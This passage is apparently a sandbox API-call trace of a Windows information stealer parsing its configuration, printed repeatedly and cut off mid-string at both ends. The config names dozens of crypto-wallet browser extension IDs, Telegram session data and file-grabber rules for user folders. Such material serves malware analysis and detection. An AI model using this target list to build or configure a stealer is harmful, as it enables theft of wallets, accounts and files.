Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="_") returned="_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.190] lstrlenW (lpString="ews_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 2977 [0260.190] LocalAlloc (uFlags=0x40, uBytes=0x17c2) returned 0x6bdd10 [0260.190] StrCpyW (in: psz1=0x6b9720, psz2="ews" | out: psz1="ews") returned="ews" [0260.190] LocalFree (hMem=0x6bdd10) returned 0x0 [0260.190] StrStrW (lpFirst="ews_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.190] lstrcmpiW (lpString1="ews", lpString2="libs") returned -1 [0260.190] LocalFree (hMem=0x6b9720) returned 0x0 [0260.191] LocalFree (hMem=0x6bae70) returned 0x0 [0260.191] LocalFree (hMem=0x6bc5c0) returned 0x0 [0260.191] StrStrW (lpFirst="ews_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.191] lstrlenW (lpString="ews_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 2897 [0260.191] lstrlenW (lpString="ews_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram 